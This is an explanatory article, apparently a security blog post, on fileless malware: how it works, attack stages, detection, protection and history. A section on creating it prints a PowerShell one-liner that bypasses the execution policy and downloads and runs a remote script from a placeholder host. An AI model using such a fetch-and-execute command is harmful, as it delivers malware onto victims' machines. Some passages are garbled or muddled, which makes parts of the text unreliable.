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What is Fileless Malware?

Despite typical malware requiring a program to be transferred to storage, fileless malware is designed to stay in memory exclusively, without any trace once it has been executed. Nothing is instantly sent to the storage medium since the malicious data is retained in the operating system.

Cyber attackers are constantly looking for new methods to infect the computer with harmful software. A fileless approach, on the other hand, does not necessitate this. Nevertheless, fileless malware is more cunning in activating devices, programs, and apps already installed on the computer.

Malware that runs without a file appears to be based on genuine functions, doing harmful behavior while the standard applications run.

Even though it is memory-based rather than file-based, fileless malware can go unidentified. Since security software recognizes the usual traces of a sign, it frequently partnered with multiple forms of malware. Fileless malware, on the other hand, leaves no traces for antivirus software to identify.

Interestingly, the case is that the attacker didn't have to find out how to get a malicious application through security and malware detection. The majority of automated monitors cannot detect changes to the command prompt. A skilled analyst can spot these scripts, but they frequently don't know where to start looking.

How Does Fileless Malware Work?

Since it's already hidden in the computer, fileless malware can succeed in its destructive activities. It wouldn't need to employ malicious programs or documents as a gateway.

This portability is what renders fileless malware so hard to spot, and it allows it to affect the computer for as long as possible undetected.

Fileless attacks are classified as Low-observable Characteristics (LOC) attacks, a sort of surprise attack which eludes conventional cybersecurity solutions and hinders digital forensics attempts. While not technically a virus, fileless malware works similarly to typical viruses: it runs in RAM. Fileless viruses move straight into RAM and never contact the disk drive since they aren't saved in a document or placed directly on a system. Several LOC exploits leverage Microsoft Windows PowerShell, a useful application for command execution and used by operating system managers. PowerShell is a command-line interface and scripting language that could grant attackers access to every feature of the Windows operating system bypassing IT security.

A fileless malware cyberattack contaminates a computer by exploiting weaknesses and vulnerabilities. An attacker uses fileless malware to penetrate, gain access, and conduct out their operation by exploiting weak programs that have already been installed on the computer. In order to infect the computer, fileless malware does not require the installation or distribution of malicious programs.

How Does Fileless Malware Work

Figure 1. How Does Fileless Malware Work

The virus uses the system's own data and functions to access the computer. Once inside the computer, the hacker can use underlying software packages to carry out their suspicious attacks, such as Command Prompt and Windows Management Instrumentation (WMI). Since many security mechanisms rely on these services, a successful attack can go unnoticed for long periods since security experts notice most suspicious activities.

Because fileless malware exists exclusively in a computer's random-access memory, nothing is ever expressly written to the storage device. It is far more challenging to identify because there is no consistent evidence for preventative antivirus software to investigate. It also gave security experts miniature confirmatory models to evaluate whether a breach had been identified. Hackers have a short moment to conduct the attack since fileless malware operates in system memory and is never permanently stored on a hard drive. An operation utilizing fileless malware should be restarted once the computer has been restarted.

What are Types of Fileless Malware Attacks?

Like the regular malware has different types of attacks, fileless malware has also various types of attacks depending on the attack surface and attack vector. Each attack types are incompatible in methodology and in potential threats when the attacker is planning for fileless malware attacks.

  • Code Injunction: Malicious code is hidden in the cache of legal apps using flash code injection methods. This virus spreads and reinjects into tasks that are important to computer operation while they are operating. To acquire access and run malware in the victim's system memory, such fileless attacks use security weaknesses in applications like Java and Flash and phishing tactics. The identification of fileless malware is a severe difficulty. Because fileless malware uses simple application programs, instructions run by these applications are deemed to be valid and secure. That's because fileless malware threats don't set off standard red alarms or access control lists while they appear to be legitimate software.
  • SamSam Ransomware: SamSam is a kind of ransomware with semi-fileless characteristics. The malware cannot be processed without the initial opening program, even if files are utilized. Because the malware payload is encrypted during execution, obtaining a trace of the malicious code is complicated. The only method to get a sample to test is to be present during the attack. Because SamSam is continually changing, cyberattacks with this are difficult to identify and defend against. Additionally, SamSam needs the participation of its author to be allowed to penetrate the login credentials. As a result, unlike other malware, it cannot propagate automatically. Again for payloads or the storage extraction program, the author must provide their credentials to run. This distinguishes it from other solitary, focused cyberattacks.
  • Windows Registry Exploitation: Use of a malicious payload or website that, once visited, exploits a regular Windows program to store and run a fileless program into the database is known as Windows registry modification. The registry is an important part of the Windows operating system that contains a lot of basic information. An attacker or data-mining program might utilize this information against the victim exceptionally rapidly. Remote server accessing the registries to determine if any remote management tools are available is an option. A cyber attacker might use this knowledge to exploit these services and expand deeper all throughout a system or discover a way to more important and intriguing assets. Its usage of registry entries to keep and conceal malware's upcoming instructions once it has been placed on a machine is becoming extremely common.

How to Create Fileless Malware?

Creating fileless malware is not easy, but an attacker with prior computer programming experiences could create fileless malware. Most of the malware is executable from the PowerShell, task automation, and configuration management program provided by Microsoft.

PowerShell is often used to execute malicious code to the computer remotely. As the PowerShell can manage the remote command, the attacker prefers the way to exploit the system using the malicious script or command through PowerShell.

Creating fileless malware means combining the command that will be executable from a remote place. However, the command can vary in many circumstances. For example, if the attacker wants to inject more malicious code remotely, s/he would try to transfer the malware to the target computer using PowerShell.

Moreover, PowerShell is an example of executing commands from a remote place. In many cases, other applications that have the capability of remote execution are used for fileless malware attacks.

There is nothing that the malware is executing to the device. Instead, the device is forced to execute the hacker's command using the remote command.

For example,

powershell.exe -ep Bypass -nop -noexit -c iex ((New ObjectNet.WebClient). DownloadString('https://example.com/malware.ps1'))

The above code is to download malware in ps1 file format to the victim's computer. The code is executable from the PowerShell, and when the attacker executes the code, the malware will be downloaded into the victim's computer.

What Are the Stages of a Fileless Attack?

Unlike other cyberattacks, fileless malware attacks go through a sophisticated process starting from finding the target and the way of implementing the attack. Here are the detailed processes of fileless malware attacks in different stages:

  1. Fixing the target: Attackers find a susceptible victim and investigate ways to attack it during the exploration process. Anybody in the workplace might be the primary target. To begin, attackers just require a single port of entry. The goal is to learn everything there is to know about the target. At this point, cybercriminals are trying to figure out who the key individuals in the organization are, who they want to deal with, and what publicly accessible information about the target company.
  1. Gain Access: Gaining access is the significant stage of a fileless attack where the attacker tries to get access to the victim's computer. To get access to the computer, the attacker, on the other hand, depends on common flaws that are easy to exploit. When the vulnerability is found, the attacker uses the remote command to manipulate the system in order to gain access.
  1. Maintain Persistence: An attacker would like his virus to remain on the victim machine even if the operating system is restarted. The attacker can use malware persistence tactics to stay on a computer that has already been hacked. It comes out that carrying out criticized acts is advantageous for him because he no longer has to re-infect the infrastructure. The following techniques are used to maintain persistence:
  • Modification of shortcuts
  • Creating Accounts
  • Security solution providers
  • Account manipulation
  • Internet Browser extensions
  1. Data exfiltration: Finally, the hacker fetches the information he needs and arranges it for data leakage by transferring it to a single place and shrinking it with commonly accessible software applications. The hacker then uploads the data over FTP to eliminate it from the victim's system.

What Can Fileless Malware Do?

Fileless malware is undetectable by most anti-spyware tools, particularly those that utilize prior libraries since there are no records to track. Moreover, most automatic scanners are unable to detect malicious code, and cybersecurity professionals who are qualified to do so often struggle to determine where to begin their search. When compared to ordinary ransomware, fileless malware is less noticeable. They use a number of strategies to stay consistent, and they might compromise the integrity of a company's processes and systems.

How to Detect Fileless Malware?

PowerShell and WMI can be used to perform observation, create permanence, remote command implementation, and data transfer in the event of fileless malware, making it hard to take down traces left there following a penetration. In an attempt to detect such malware outbreaks, experts have proposed a number of ways:

  • Monitoring system behavior
  • Learning behavior of attack
  • Rule-based detection The first strategy is proper evaluation procedures that need a security specialist to examine evidence specified by the investigator to identify such cyberattacks successfully. The second technique is merely a concept that has yet to be implemented.
  • Monitoring system behavior: The system must evaluate two factors in the ability to detect fileless malware. Firstly, some activities have increased permissions once they have become active in the system. Secondly, use a command-line terminal or PowerShell to examine the system vulnerabilities for the implementation. The attacker's initial goal is to get administrative privileges to the victim's computer in order to gain maximum PowerShell permissions. To detect fileless malware, the system must keep track of all of the essential characteristics that PowerShell may provide. It's critical to recognize the main data sources, such as network activity, internet connectivity, and unusual changes to specific Windows registry values. Additionally, keep a close check on the computer's activity log for any evident signs of a suspicious attempt.
  • Learning behavior of attack: A structure may be built using the client-server model, with users distributed on all endpoints and a cloud-based web service.
  • Observing activities
  • Labeling incidents
  • Understanding activities These are the three stages of the framework. The client may record all of the activities created by the host computer in this setup, allowing them to observe the whole activities channel. Furthermore, the client provides a suitable label per event in order to track the attacker's movement. Finally, utilizing a variety of algorithms on the server are operating on the labels sent by the client to detect suspicious activities on the host computer.
  • Rule-based detection: The overwhelming harmful programs that propagate throughout the network are bundled with Microsoft Products such as excel.exe and powerpnt.exe, which are addressed by the hacker or by a botnet to locate the unprotected client, moreover, detecting such apps that launch cmd.exe or powershell.exe might be dangerous. As a result, the detection strategy may be based on criteria distinguishing between legitimate and malignant processes.

These and other comparable rules may be used in browsers to prevent infected computers from running PowerShell and Command prompt commands.

How to Fileless Malware Protection?

Even though this type of virus is said to be undetected, let's be clear: it isn't truly invisible. When opposed to prior virus versions, this appears to be the case. The measures above aren't perfect, but they do give tiered, systematic security rules that must reduce risk to any organization.

The following tips could help protect the system from fileless malware attacks:

  • Don't kill javascript: JavaScript may be a powerful motivator for fileless malware, but totally blocking it would not help. Apart from the fact that a large number of the websites you browse will be blank or lacking components, Windows has a pre-installed JavaScript engine that may be used from inside a website page even without the requirement for JavaScript. The major disadvantage is that it may give you a deceptive feeling of security when it comes to fileless malware.
  • Browser Protection: The key to avoiding the dissemination of fileless cyberattacks is to secure your personal and office web browsers. Set an internal policy that only permits a single browser variety to be used on all PCs for professional situations. Browser security, such as Windows Firewall, is still quite beneficial. This program, which is included in Office 365, was created with special protocols to guard against fileless cyberattacks.
  • Endpoint Protection: Typical endpoint security mechanisms employ learning algorithms to detect dangerous programs before they run to discover patterns over 2 to 3 months. One drawback with this method is that organizations must cope with declining efficiency and false positives over the duration. Simply, it really would be excellent if, prior to the execution of any program, binary, multimedia, or anything, an amazing check might be performed to seek a valid signature. If there isn't a verification, do an automatic check, relying on flexible learning algorithms to assist you in determining what to do next.
  • User Protection: Security contributes to the short time it takes to start a program from the end-user perspective. The increased security well justifies the participant's slight improvement in performance, and it easily outperforms displayed significance. Endpoint security for users automatically stops threats using a mix of learning algorithms and feature monitoring, as well as real-time analysis and deep multiprocessor transparency without sacrificing speed. In real-time, the next-generation firewall coverage automatically integrates algorithms and activity signals to detect and stop harmful approaches and fileless malware.

Is Fileless Malware Persistent?

Malicious codes are placed within the registry, or Windows System, for fileless malware to overcome the computer's protection. The virus accomplishes a persistent fileless infection on the victim machine as a result of this.

System tools are dual-purpose programs that are routinely used to acquire data on a recently hacked computer. Such programs can also be used to exfiltrate data that has been stolen. In most circumstances, this activity is unnoticed since it fits in with routine system management tasks.

As it becomes more expensive to identify dependable, controllable flaws, hackers are resorting to these basic attack vectors. A fileless attack often combined with a few social engineering may be just as effective in attaining the hackers' objectives.

So, it can be said that the fileless malware is persistent. It can be stored in the system memory without causing any issues for the end-users. Also, it is hard to detect when no activity is noticed.

How Does Fileless Malware Achieve Persistence?

Considering the subtlety and durability that fileless attacks might provide an attacker, the trend is predicted. It was also clear from the multiple malware operations that used fileless elements and tactics to carry out their exploits.

When a system is affected by fileless malware, it can be activated at any time. However, after neutralizing the malware, it can still spread from the earlier exploitation. For example, the system could act abnormally if the windows registry is modified and malicious code is injected. When the behavior is fixed with some techniques, it can be started anytime with the help of the modified windows registry.

It's hard to describe a particular method of persistence of fileless malware. Instead, each type of malware stays alive in its own manner. The malware author defines how the malware will be activated and how it will remain undetected.

Fileless Malware History

Malicious programming that exists purely in memory existed long before the twenty-first century. This issue is nearly as old as computer systems themselves. Lehigh Virus, which got its name as it was produced at Lehigh University during computer science testing, was the first special type of malware in 1987.

Nevertheless, it did not harm the system and was eliminated when the system was restarted since it just lingered in the RAM and grew a number that devoured memory with each run, slowing down the computer's activities.

However, it's not until 2001, when the very ubiquitous Code Red malware made its imprint on the web, that the name fileless malware became commonplace.

Nearly after a decade, the next fileless malware came to the discussion in 2012. Lurk Trojan was found at that time responsible for being active in random access memory (RAM). It was well known for becoming activated after removing the program from the drive. The malware remained entirely memory-resident, leaving no traces on storage devices. They vanished after the computer was reset as a consequence of the unpredictability.

Later in 2014, Powerliks, Angler, and Phase Bot were found as fileless malware was responsible for staying in the system memory and causing several threats of compromising data.

In mid-2016, another group of fileless malware was detected in many computers. PowerSniff, August, and PowerWare are some of them. Attacks through such fileless malware started with a malicious phrase in a Microsoft Word document where certain features were mirrored due to the affection of fileless malware and included a Powershell command that performed command shell, that decrypted and launched further malicious content, all while functioning completely in system memory. PowerSniff has the capacity to store a corrupted DLL to the operating system for a limited time.

POSHSPY malware was found in 2017 and it was known as a type of fileless malware. It looks to be utilized as a backup gateway in case the hackers' regular backdoors are compromised.